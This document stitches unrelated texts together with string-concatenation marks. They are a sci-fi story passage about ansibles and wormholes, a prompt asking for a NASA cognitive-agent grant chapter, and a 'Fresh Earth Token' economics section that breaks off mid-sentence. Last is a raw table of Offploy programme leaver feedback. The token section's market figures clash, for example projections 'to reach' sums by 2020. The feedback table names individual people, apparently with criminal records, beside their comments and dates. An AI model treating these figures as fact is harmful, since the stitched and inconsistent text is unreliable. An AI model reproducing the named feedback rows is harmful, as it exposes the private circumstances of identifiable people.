can hope for is that Earth and the All Worlds Coalition don’t figure out the ansible before we do.\nMy father was at an ansible relay out on the fringes of the far side of the Perimeter, when every board on every comm station up and down the Perimeter suddenly went off. \nWe didn’t see what happened; we had no idea.\nI was 12 when he died - though I can probably count on one hand the number of times I’d seen him. \nMy father was out there on EVA, walking along the relay station, when the spinning blades appeared from practically nowhere, and disappeared again, but not before turning him into space paste. They retrieved his helmet, that’s all that could be retrieved. He was one of some 5 Co-Oppers lost that day. We were lucky. A whole world in Nadiran space wasn’t. And now I’m going to assume that you know about the Machine Plague what everyone knows. \nNothing would ever be the same again.\nAt the spinmost side of the Perimeter, a little further Rimward of our core space (but where we kept an ansible relay, and not far from where the Nadiran kept their rimward-most listening station) the machines swooped down like locusts, destroyed anything in their path, and then they were gone again. \nAnd for much of the region, the trouble was only beginning. \nWithin a few years, Nadiran trade had collapsed in the region of space most adjacent to the appearances of the Machine Plague. This left famine in its wake.\nThe Co-Op went and took up the lanes in its stead, set up its own arcologies and production, and employed the locals left by the Nadiran to just twist in the wind. Some people weren’t too happy about this, but all in all, there haven’t been that many complaints, and we even have plenty of Altikhari and D’agra spacers now. But that’s neither here nor there. The people most unhappy about this are some of the humans in the Intersystem Transport Syndicate. \nAnd… the rest of us have, by and large, gone on with our lives.\nWith the result that if you grew up within Co-Op space any time within the last 20 years, you’ve had a very, very different life from anything like I came up in. From the lifetime of your own parents, or the lifetime of any Light-Chaser.\nWhen the Machine Plague ever returns, for all we know, we’ll be back to square one. We don’t even know where the damned thing comes from, what it comes out of. \nBut if there’s ever a chance at finding out, there’s a chance ansibles will tell us, will give us the proof.\nBecause whatever reason it is that ansibles actually work, and however it is that these things came from seemingly nowhere (except it isn’t nowhere, I’ve already blown a decade of my life on this problem), I’ve got years’ worth of schematics and proofs that point to the same possible reason. I’m surprised R’Kesh didn’t just give up on me during those years.\nBut for a long time, I had no idea that the closest we’ve gotten to anything that could be a key, is in Novayan loresong. To humans, to the human peer review groups and the research syndicates, that’s just “alien woo-woo.” \n\n ENTRY 7\n\nIt’s from R’Kesh that I first heard about the Ways across the Void. Rreh tharri Kith’anna. Some older Novayans were steadfast in their belief in Traversable Anomalies, as attested by what songs remained from before they set foot on Novaya. \nThe night we first talked about it: it was during that first flight together, some months before Landing Day, before we got together in port. It’s also memorable because it was the first real conversation we’d ever had.\nI was sitting in the corner of the mess during Midwatch with my noise-cancelers on, and I was doing the thing I usually did off shift… work on my ratings, but in this case, it was a project to present to the Deep Space Expedition Syndicate’s threads on the Library BBS. \nAfter catching my breath for several moments, I looked up. A foil package appeared next to my books at the table.\nMy stomach clenched with dread. This is where I came to study during Midwatch, was I going to lose this place? Have to start hiding in my hab pod? I expected the intruder to insert themselves into my space at the table, steeled myself for the intrusive questions, preparing the answer I’d have, trying to make it as toothless as I could, and whatever the case might be, my work was done for the night.\nI looked up: it was R’Kesh.\nHe simply stood, and didn’t sit down at the table like I expected to: he looked like he was going to walk off.\nAfter my motioning to the seat, he eased himself into it, leaning over briefly to look at my work. “You’re doing the Ansible Problem,” he said: “Rating in Astronav? Somewhere along the line, we all have to do the Ansible Problem. It’s funny for a Novayan, ay…”\n“Nope. Personal project,” I replied, though for a moment, I imagined being up – alone – in the astronav dome, and filed that thought away for a while.\n“Joining DSES?” he asked – referring to the Deep Space Expedition Syndicate. (I didn’t know how seriously to take this question, DSES was still taken as something of a joke at that point in time.)\n“Hell no,” I replied.\n“You’ve been here for hours. You don’t sleep, ay?”\n“Could say the same for you,” I said.\n“We just take naps,” R’Kesh replied. “Looks like you’re busy.”\n“I WAS busy! I’m going to have to start this whole thing over!”\nI slammed the book closed and crossed my arms.\n“Maybe eat first, ay?” he said.\nI looked at the package: it was a packaged spicy salmon onigiri. My stomach growled; I hadn’t moved from this spot for hours. I ripped the package open and proceeded to indelicately stuff my face. I wanted to be mad at him for the disruption but by this point, I couldn’t be mad at the person who’d brought me food.\nAfter a long time, after washing all of that down with a bulb of now-cold green tea, I wiped my mouth, and finally looked up at R’Kesh and asked: “Funny for a Novayan?”\n“Hm?”\n“You said… having to do the Ansible Problem, is funny for a Novayan.”\n“Oh. Yes!”\nHe didn’t say anything for a while.\n“You don’t just destroy my work for the night so that I’m gonna have to start over, drop that on me, and not tell me about it.”\nHe chuckled. But then, just as quickly, he was solemn. “R’Kesh humbly asks the Sparks’ forgiveness. I will stay out of your space next time you are reading.”\nI crossed my arms again. “I’ll forgive you if you tell me why the Ansible Problem is so damned funny to a Novayan!”\n“Right,” he said, “Walk with me?”\nI grabbed the book off the table, stuffed it in my bag, and crumpled up the foil onigiri wrapper in one hand. “Lead the way.”\n\n\\*\\*\\*\n\nI probably should have just gone back to my hab and gone to bed, but instead, I had walked with this Novayan down to the hydroponics lab. We sat in a corner in the arboretum, huddled against the wall, and he spoke softly and at length.\nI’d already known somewhat about Novayan loresong; it’s something lots of spacers know, we have our superstitions. More spacer custom comes to us from the Novayans than most of the humans in the syndicates want to admit.\nBut most humans don’t take Novayan loresong seriously. Before being close to the brothers, I didn’t know how seriously to take it, myself.\nBut a much more obscure loresong, it turned out, alluded to tunnels through space, through which they’d sailed fairly lower tech ships, and that this is how they settled their world. He sang a couple of the songs he knew - first playing the tune on his blue ocarina, then singing it in Novayan, with an explanation of what each lyric meant.\n[Edit: put some of those lyrics here.]\nAfter some time, he put his ocarina down, and said:\n“We have no proof, of course. We would not even know how to look now. But any Novayan would love to be the one to find the proof. It’s something any navigator likes to know about. I would love to go through, one day.”\n“You must be insane if you want to do that.”\n“Nnh.”\nWe were quiet for a moment. \n“So what is the Sparks’ interest in wormholes, then?” he asked.\n“Wormholes are the only possible way the ansibles could work. It’s treated like… junk science. Better people than me have tried. It’s just going to take actual investigation. I hope they get to it before another Machine Plague comes. I’ve seen some of the feeds. Over, over, over. We still don’t have enough empirical data. Not yet. Without that, anything posted to any of the syndicate boards, will just get downvoted into oblivion. And without upvotes, it doesn’t pass to a vote in a syndicate-“\n“Nnh. We’ve stayed out of it,” R’Kesh said. “Somehow. Sounds like we are not missing-”\n“-and without a syndicate supermajority, nobody releases the resources or bothers with their time. DSES is the only syn that will give it the time of day, and they’ve got what? A little office on Perimeter Four?” \n“We don’t exactly have much ‘deep space’ to go to,” R’Kesh said. “Or much way to get there.”\n“We? Don’t tell me.”\n“Associate syndic. What do you have against DSES anyway?”\n“They keep downvoting me. Deleting my forks. One of them even forked my proposal and tried to push it through themselves, with their own ideas.”\n“That’s how it WORKS, Vahl!”\nWe didn’t say anything for a while, and finally, we got up.\n“It wasn’t you, was it?”\n“It was not me. How many syndicate forums do you post in, anyway?”\n“A lot.”\nSo this is where I stop right here. Because I am getting off on a tangent, and none of this is going to tell you a single goddamned thing about how I ended up trapped on Planet Bullshit and became head of R&D for an aspiring rocket tyrant. Or about a single thing you actually needed to know.\nBut wormholes have something to do with it.\nAnd so does R’Kesh.' +'I want to you to act as a federal research grant writer. I will provide you with a description of the task and the desired deliverables. You will generate at least 5 paragraphs for each chapter heading that I will provide you with.\n\nDescription:\n\nAutonomous and partially-autonomous systems promise the opportunity for a future with self-driving automobiles, air taxis, packages delivered by unmanned aerial vehicles (UAVs), and more revolutionary Earth applications. At the same time, it is expected that future NASA deep space missions will happen at distances that put significant communication barriers between the spacecraft and Earth, including lag due to light distance and intermittent loss of communications. As a result, it will be difficult to control every aspect of spacecraft operation from an Earth-based mission control, and thus, the crews will be required to manage, plan, and execute the mission and to respond to unanticipated system failure and anomaly more autonomously. Similarly, there is also opportunity for unmanned vehicles on Earth to benefit from autonomous, cognitive agent architectures that can respond to emergent situations without the aid of human controllers. For this reason, it is advantageous for operational functionality currently performed by external human-centric control stations (e.g., mission control) to be migrated to the vehicle and crew (if piloted). Since spacecraft operations will consist of a limited number of crewmembers who each operate with a limited performance capacity (in terms of both cognition and tasks), it will be necessary for the spacecraft to have assistive, autonomous, and semi-autonomous agents to be responsible for a large proportion of spacecraft operations so as not to overburden the crew.\n\nCognitive agents could provide meaningful help for many tasks performed by humans. Novel operational capabilities required by deep space missions, such as spacecraft and systems health, crew health, maintenance, consumable management, payload management, and activities such as food production and recycling could benefit from the assistance of autonomous agents, which could interface directly with the crew and onboard systems, reducing cognitive load and scheduling time on the crew. Additionally, cognitive agents could contribute to many general operational tasks in collaboration with the crew, such as training, inspections, and mission planning. Finally, autonomous agents could increase the mission’s resilience to hazardous events, both by directly responding to certain events (e.g., ones which unfold too quickly for the crew to catch, or which immobilize the crew) and by providing assistive services (e.g., fault diagnosis, contingency analysis, and mission replanning).\n\nHowever, implementing these cognitive agents presents significant challenges to the underlying software architecture. First, these agents will need to be able to take a significant amount of responsibility for mission operations while still operating under crew directives. Additionally, agents with different dedicated roles will need to share resources and hardware and may have differing goals and instructions from human operators that need to be managed and coordinated. Such agents will, thus, need to be able to take these actions autonomously while enabling (1) effective crew (or vehicle occupant) control of the vehicle even when the agent is operating autonomously (meaning, the agents should not be acting in unexpected ways and should report when the situation has changed enough to justify a change in operations), (2) direct crew control of the task when manual intervention is needed, and (3) autonomous and manual coordination/deconfliction of agent goals and tasks. Second, for NASA space missions, long-duration spaceflight is likely to uncover new challenges during the mission that require some level of adaptation. Whether this is because of known low-probability hazardous events or because of “unknown unknown” situations that were not planned for, cognitive agents will need to have a capacity for “graceful extensibility.” This concept is not unique to space missions—Earth-based vehicles will also need to be able to respond to similar types of events in-time given the highly variable and heterogenous environments they will likely encounter when operated at scale. As a result, the architecture of the cognitive agent will need to be able to learn (both from taught examples and from the environment) and reconfigure itself (in collaboration with the crew) to perform new tasks. Finally, these capabilities need to be implemented with the high level of assurance required by mission operations, meaning that learned and autonomous behavior must be transparent, predictable, and verifiable using traditional software assurance techniques.\n\nThis subtopic solicits intelligent autonomous agent cognitive architectures that are open, modular, make decisions under uncertainty, interact closely with humans, incorporate diverse input/data sources, and learn such that the performance of the system is assured and improves over time. This subtopic will enable small businesses to develop the underlying learning/knowledge representation, methods for enabling the required behavior (e.g., operations and interactions), and necessary software architectures required to implement these technologies within the scope of cognitive agents that assist operators in managing vehicle operations. It should be feasible for cognitive agents based on these architectures to be certified or licensed for use on deep space missions to act as liaisons that interact with the mission control operators, the crew, and vehicle subsystems. With such a cognitive agent that has access to all onboard data and communications, the agent could continually integrate this dynamic information and advise the crew and mission control accordingly by multiple modes of interaction including text, speech, and animated images. This agent could respond to queries and recommend to the crew courses of action and direct activities that consider all known constraints, the state of the subsystems, available resources, risk analyses, and goal priorities. Cognitive architectures capable of being certified for crew support on spacecraft are required to be open to NASA with interfaces open to NASA partners who develop modules that integrate with the agent, in contrast to proprietary black-box agents. It should be noted that fulfilling this requirement would additionally make the cognitive agent suitable for a wide variety of Earth applications where a high level of assurance is needed (e.g., autonomous vehicles and aircraft).\n\nAn effective cognitive architecture would be capable of integrating a wide variety of knowledge sources to perform a wide variety of roles depending on mission requirements. For example, an effective prognostics and health management (PHM) agent would need to be able to take sensor data, interpret this data to diagnose the current state of the system using learned artificial intelligence (AI) models, digital twin simulations and data, and user input, and project out potential contingencies to plan optimal maintenance and/or fault avoidance operations under uncertainty. These operations would need to be modifiable in operations, for example, if a hazardous event occurs, there are changes to the mission, or there is a learnable change in behavior that reduces arising projection errors. This agent would need to be able to conduct operations autonomously for low-level inspection and maintenance operations while enabling safe human intervention throughout the process. It would finally need to communicate with crews for planning and performance of maintenance operations, to report/escalate potential hazardous contingencies, and for modification of operations (e.g., learning). This communication could include producing human-interpretable visual dashboards, communicating directly via speech, and direct manipulation of hardware (e.g., to teach/learn certain operations). Agents like this (with functionality appropriate to the given task) would be needed to perform a variety of roles in the spacecraft, including low-level tasks like state estimation, hardware control, and subsystem management and high-level tasks like mission planning and scheduling. Agents with independent responsibilities will furthermore need to be managed and coordinated to enable functional and resilient overall operations.\n\nThe following (nonexhaustive) list of managers provides capabilities useful for a wide variety of spacecraft cognitive agents:\nState estimation manager (SEM): This manager’s capabilities include extracting information from sensors, including images, for use by other managers and by crew. State estimation includes separating signal from noise in sensor data, extracting and compressing useful information, along with fault management and prognostics. The state estimation manager must categorize information on both vehicle-wide and subsystem-by-subsystem bases, including crew health and performance, security, and scientific objectives.\nSkill/behavior manager (SBM): This manager orchestrates execution of individual tasks on short timescales. This involves incorporating specialized knowledge needed for different tasks, e.g., orbit/trajectory planning, robotics operations, spacecraft subsystem control. The skill/behavior manager includes a "smart executive" that robustly executes high-level plans produced by the planner/scheduler manager, on schedule, by coordinated commanding of multiple subsystems.\nPlanner/scheduler manager (PSM): This manager creates and updates plans and schedules that accomplish goals. This functionality involves maintaining lists of goals, priorities for achieving those goals, and spacecraft and mission-wide constraints.\nKnowledge manager (KM): This manager ensures that the system\'s declarative knowledge is consistent and updated, including the incorporation of learned knowledge. Learning and modeling techniques capture system and operational knowledge from different types of knowledge sources; these must be incorporated into existing knowledge bases. \nHuman-machine interactions manager (HMIM) - Natural Language Processing (NLP), Extended Reality (XR): This manager enables multimodal interface/communications with the crew about the current and future state of the systems. This manager must communicate information from all other managers.\n\nWell-constructed proposals will focus on developing a prototype cognitive agent(s) in the context of a limited test. This agent will need to embody a cognitive architecture that can be readily applied to a wide variety of roles and tasks throughout a mission that embodies the desired capabilities of autonomous and semi-autonomous operations, modifiable and/or learned behaviors, data/model fusion for decision-making under uncertainty, advanced user interaction, and assurance/transparency. This architecture could then be able to be extended to a wider scope in a more advanced mission in future phases of the project. This project and the agent architecture will need to be thoroughly documented and demonstrated to enable the understanding (e.g., capabilities and limitations) of this technology.\n\nDesired Deliverables Description:\n\nThe expectation is to develop (1) a preliminary cognitive architecture with trades study/requirements analysis supporting the selection of the architecture in a desired mission (e.g., Human Exploration of Mars Design Reference Mission: Human Exploration of Mars Design Reference Architecture 5.0), (2) early feasibility prototypes of architecture features and conceptual description (e.g., in SysML) for a cognitive agent(s) in that mission, and (3) a detailed implementation plan for full architecture with technical risks identified and managed.\n\nNow please generate a chapter with the following title "Identification and Significance of the Innovation".' +"FET continued; Token Economics\n\nThe Fresh Earth ecosystem aims to have a significant impact on the environment, society and economy by promoting regenerative agriculture and sustainable food systems, using key performance indicators to measure and validate this impact, and by fostering collaboration, innovation and best practices among stakeholders.\n\nEconomic Model\n\nThe Fresh Earth Token is a verifiable science and technology-based token that measures the impact of regenerative practices using KPIs such as carbon sequestration, biodiversity, water retention, reduction in chemical use, and an increase in the quality of food. This ensures that the ecosystem's activities are having a real and measurable impact on the environment and society.\n\nAdditionally, the Fresh Earth ecosystem promotes collaboration and knowledge-sharing among its stakeholders, fostering innovation and best practices in regenerative agriculture. This helps to accelerate the adoption of regenerative practices and improve the overall impact of the ecosystem. By connecting farmers on the regenerative pathway with consultants, suppliers, funding and markets the ecosystem helps to reduce costs and risks for farms, and allows businesses and consumers to access verified, locally developed regenerative food products directly from the designers, manufacturers, and producers.\n\nThe Fresh Earth Token leverages additional external funding from government schemes such as emissions trading schemes and carbon trading futures to further drive the regeneration and growth of the ecosystem. This model is aligned with the growing consumer trend towards sustainable and regenerative food systems, as well as addressing the urgent need to address climate change and food security.\n\nThe efficiency of farmers converting land to regenerative farms is supported by the fact that regenerative farming practices not only improve the health of the soil, but also lead to higher crop yields, increased resilience to climate change, and improved water retention. Consumer demand for regenerative food further drives the growth of the ecosystem, as farmers respond to the market demand by converting more land to regenerative practices.\n\nThe economic system that underpins this project is based on creating value from the verified impact KPIs, and redistributing it in the current ecosystem through the use of existing economic modeling systems that are recognized. Research suggests that regenerative agriculture can improve the profitability of farmers by reducing input costs, improving crop yields, and increasing resilience to climate change.\n\nIn this unique economic model the Token represents fractional ownership of a decentralized autonomous organization (DAO) that manages the food ecosystem business, allowing investors to participate in the growth and success of the ecosystem and share in the value generated.\n\nInvesting in the Fresh Earth token not only allows individuals and organizations to financially benefit from the growth of the ecosystem but also play a role in creating a more sustainable and regenerative food system for the planet and society. Examples of companies that have implemented similar models and have seen success include Patagonia Provisions, Danone, and Mars. \n\nValuation Logic of the Fresh Earth Token:\n\nThe regenerative food market is expected to reach $4.5 billion by 2022, growing at a CAGR of 16.2%.\n\nThe Regenerative Agriculture Association cites that regenerative agriculture can lead to a 30% reduction in greenhouse gas emissions, while also increasing biodiversity and improving soil health.\n\nStudies have shown that regenerative agriculture can sequester carbon at rates of 0.4% to 0.9% per year, while also improving soil health, water retention, and crop yields.\n\nThere are economic incentives for farmers to adopt regenerative practices such as government subsidies and carbon offset markets.\n\nMonetizing the Fresh Earth Token: Economic Models and Funding Opportunities\n\nThe Fresh Earth Token, through its ability to measure and verify impact in its KPIs and the use of deep scientific data on regenerative farms and practices, is able to access funding from various markets. This includes:\n\nCarbon Offsetting: The global carbon offset market is valued at $189 billion and is projected to reach $531 billion by 2027. The token's ability to register, facilitate, monitor and validate verified carbon sequestration projects and sell them to companies and organizations to offset their carbon emissions provides a major source of revenue. Part of that revenue will go to the farmer or project, and part (~20%) wll be retained by Fresh Earth for services provided.\n\nBiodiversity, water retention and other benefits: Regenerative farming practices that store carbon in the soil bring many concomitant benefits, such as increased fertility, water retention and food nutrient density. Regenerative oractises can also target other regenerative and ESG outcome such as biodiversity and animal welfare. At an early stage these provide ESG value, and eventually, first on social markets and eventually government mandated markets, many of these will monetizable - see below.\n\nPay for Performance: The pay for performance market is valued at $2 billion and is projected to reach $8 billion by 2022. The token's ability to measure and verify specific environmental and social outcomes, such as reducing emissions and increasing energy efficiency, allows for the token to be used as a reward for companies and organizations that meet certain goals.\n\nImpact Investing: The impact investing market is valued at $502 billion and is projected to reach $913 billion by 2020. The token's ability to generate measurable social and environmental impact alongside financial returns allows impact investors to invest in projects such as regenerative farming practices.\n\nCommunity-based financing: The community-based financing market is valued at $6.1 billion and is projected to reach $11.9 billion by 2022. The token's ability to provide funding for sustainable development projects, such as renewable energy and sustainable agriculture, allows for communities to directly invest in and benefit from these projects.\n\nRegenerative Agriculture Financing: The regenerative agriculture financing market is valued at $3 billion and is projected to reach $9 billion by 2025. The token's ability to provide financing for farmers to adopt regenerative farming practices, such as cover cropping, agroforestry, and holistic grazing, allows for the growth and success of the regenerative agriculture industry.\n\nWater Rights Trading: The water rights trading market is valued at $11 billion and is projected to reach $22 billion by 2025. The token's ability to measure and verify water usage and conservation efforts allows for farmers to trade water rights and optimize water usage, reduce waste, and improve water quality.\n\nBiodiversity Offsets: The biodiversity offset market is valued at $1 billion and is projected to reach $3 billion by 2025. The token's ability to measure and verify conservation projects that protect or restore biodiversity allows companies to offset the loss of biodiversity caused by their activities.\n\nEcosystem Services Markets: The ecosystem services market is valued at $6 billion and is projected to reach $12 billion by 2025. The token's ability to measure and verify practices that provide ecosystem services, such as carbon sequestration, water purification, and pollination, allows companies to purchase credits from farmers and landowners that are implementing these practices.\n\nConservation Easements: The conservation easements market is valued at $3 billion and is projected to reach $5 billion by 2025. The token's ability to measure and verify land use practices that protect important ecological areas and biodiversity allows for landowners to restrict the development of their land in exchange for financial compensation.\n\nBenefit-sharing agreements: The benefit-sharing agreements market is valued at $2 billion and is projected to reach $4 billion by 2025. The token's ability to measure and verify conservation and sustainable land use practices, such as carbon sequestration, water purification, and pollination, allows local communities to share in the benefits of these practices.\n\nCommunity Land Trusts: The community land trusts market is valued at $2 billion and is projected to reach $4 billion by 2025. The token\n\n7. Team\n\nA. Overview of the Fresh Earth team\n\nThe Fresh Earth team is a group of dedicated individuals with a passion for creating a more sustainable and equitable food system. The team is composed of experts in regenerative agriculture, blockchain technology, marketing, and environmental science. With a combined experience of over 100 years, the Fresh Earth team is well-equipped to deliver on their mission.\n\nB. Team members\n\nLuke Makepeace - Co-Founder and CEO. A serial entrepreneur with 20 years of experience in developing complex ecosystems including a regenerative commerce ecosystem and a distributed generation modelling ecosystem for optimization of power grids.\n\nMike McCosker - Co-Founder and Chief of Regenerative Farming. A fourth-generation farmer with 30+ years of experience in regenerative agriculture.\n\nBen Nott - Co-Founder and CMO. Founder of World Wide Mind and winner of over 100 international Creative Advertising and Film Directing awards.\n\nDr. Paul Taylor, PhD - Co-Founder and Chief of Science. A published scientific research author specializing in Agriculture and Environmental science.\n\nShaun McLean - CTO. An innovative entrepreneur and experienced software developer with a strong background in blockchain technology and web3 development. With 20+ years of experience as a technology professional, this individual has a proven track record of providing the crucial bridge between business, marketing, customer, and technology teams. He has led the development of several decentralized applications and understands the technical requirements and considerations for building a decentralized platform like Fresh Earth.\n\nDave Dawson - Head of Enterprise & Institutional Relationships. A business strategy expert.\n\nRussell Rankin - Innovation Specialist. Specializes in food innovation and connecting industry with research and government bodies." +'Leaver Feedback 19 10 10 Ked was helpful and kind Increase keds wages Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 20 10 9 The support that I received from Offploy helped me to come to terms with my fear of disclosing my convictions, thus helping me improve my confidence If all the workers at Offploy are as helpful as the girl I had, I do not think you need to try and improve Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 21 10 10 Meeting someone nice Keep up with the great work Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 22 10 10 Leah was brilliant, explained everything to me in detail. None. Everything is ok Creating a Disclosure Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 23 10 10 They put you at ease and suggest helpful solutions to problems. Everything appears okay to me. Creating a Disclosure Letter;Creating a Cover Letter;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 24 10 1 BY LEAVING ME ALONE PLEASE Other nothing Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 25 10 10 I am not able to single out one thing that has helped me. I will state though that my coach, Carrie, was superb and couldn\'t have done more to assist me. Make sure that large meetings with presentations are accessible to all types of device, be it mobile phone, tablet or laptop. Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Creating an online account with a jobs board;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence;Other Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 26 10 10 Positivity. I cannot think of a thing. Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Easy after some support from my Social Employment Advisor Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 27 10 10 My Mentor Carrie, offered lots of support No need to improve other than to continue to getting more mentors to support more people Creating a Disclosure Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence;Other Wellbeing Support Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 28 10 10 Encouragement Keep encouraging! Creating CV;Creating a Cover Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 29 10 7 talking longer Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 30 8 8 They didn\'t judge me due to the nature of my offence, and there help was second to none As of now no I don\'t think there is anything to improve on not to say that naturally people want to change thing. As they say if it not broken don\'t fix it Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 31 9 9 Helpful Be in my shoes Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Applying for jobs online;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 32 10 10 I found the way offploy listened to me and the advice very useful as i was in a low point in my life. Make the programme longer Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 33 10 8 The fact that someone is there to help and give a nudge when needed. Really not sure how. Creating CV;Creating a Cover Letter Challenging due to lack of access to a computer Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 34 6 7 The CV building was most important for me as things change all the time and unless involved with programs I wouldn\'t have a clue Not sure I received the amount I needed Creating CV Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nGraham Morrissey | Leaver Feedback Bhav G 1 1 Nothing. It was a waste of time Actually do something Very Easy Offploy Candidate Leaver 03/03/2023 11:21\nPaul Heal | Leaver Feedback Bhav G 10 10 New cc and discussions about disclosure More cake at meetings Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Creating an online account with a jobs board;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 01/09/2022 10:10\nGARY WEST | Leaver Feedback Bhav G 10 10 just having the extra support Creating CV;Improving my mindset towards achieving employment Easy after some support from my Social Employment Advisor Offploy Candidate Leaver 14/01/2022 11:05\nStacey Hughes | Leaver Feedback Carrie M 10 10 I couldn’t be more grateful for Carrie and Matt they helped me out in every aspect and more Nothing to improve Carrie and Matt even above and beyond for ne l Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating an online account with a jobs board;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 03/03/2023 23:16\nNicole Lawson | Leaver Feedback Carrie M 1 2 When I was first contacted, Offploy was under the impression I was a previous offender. I wasn’t referred to Offploy for this reason. Obviously the communication could be a lot better… Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Setting realistic goals for myself Very Easy Offploy Candidate Leaver 03/03/2023 16:02\nSalahuddin Nasratyar | Leaver Feedback Carrie M 9 7 Creating CV;Creating a Cover Letter;Creating a job-searching email account;Creating an online account with a jobs board;Applying for jobs online;Improving my mindset towards achieving employment Very Easy Offploy Candidate Leaver 03/03/2023 13:40\nJason Tuckwood | Leaver Feedback Carrie M 10 10 Help with job search and meeting face to face Creating CV;Improving my mindset towards achieving employment;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 14/12/2022 18:50\nRUSSELL COBURN | Leaver Feedback Carrie M 10 10 The personal support around my circumstances Very Easy Offploy Candidate Leaver 18/03/2022 22:17\nPETER GUEST | Leaver Feedback Carrie M 10 10 Easy to talk to Very Easy Offploy Candidate Leaver 18/03/2022 07:27\nJames Drinkell | Leaver Feedback Carrie M 10 10 The very patient adviser who was brilliant and gave me the confidence to apply for jobs. Longer support for certain clients who need extra support. Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Applying for jobs online;Improving my mindset towards achieving employment;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 13/02/2022 09:24\nDavid Hatfield | Leaver Feedback Carrie M 8 6 disclosure letter if all these sort of agencies could work from the same book instead of giving conflicting advice to each other Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Improving my ability to disclose my offence Other all done by phone so it was simple Offploy Candidate Leaver 07/02/2022 11:04\nKirsty Rowe | Leaver Feedback Dave E 10 10 "Honest down to earth people who do as they say they will\nAlways made themselves available \nEasy to chat , gain confidence with" Keep doing as you are 😊 Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 02/11/2022 09:38\nGary Cassin | Leaver Feedback Dave E 10 10 everything was very useful and helpful i dont think that anything can improve Creating CV;Creating a Disclosure Letter;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 30/10/2022 12:38\nCarrington Ryan | Leaver Feedback Dave E 10 10 The support from.,in particular Dave Ennis has been immeasurable I cannot find anything to out here that could enhance the support which has been there from the start of my journey. I would just like to say thank you to all and particularly to Dave, thank you for your encouragement and continual support. Carrington Ryan Very Easy Offploy Candidate Leaver 21/03/2022 08:40\nDominic Clark Ellingford | Leaver Feedback Heather H 10 10 Creating CV;Creating a Cover Letter;Improving my mindset towards achieving employment;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 08/07/2022 19:31\nNeil Terry | Leaver Feedback Heather H 10 10 From the beginning to the end there was no pressure put on me to talk or move forward unless I felt ready to do so, the conversations and workshops were a great help, my work coach heather was very understanding and easy to talk to and made me feel like I was talking to a friend and the advice that was given was thoroughly explained, heather is a credit to the company in my eyes and I don\'t know where I would be today without the help provided.. The support I received couldn\'t have been better, I am really grateful for all the effort that was put into the programme Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Creating an online account with a jobs board;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 11/01/2022 22:44\nDavid Young | Leaver Feedback Jess D 10 10 It helped me by raising my confidence that there are employers out there who will give me a chance. Creating a Disclosure Letter;Creating a Cover Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy 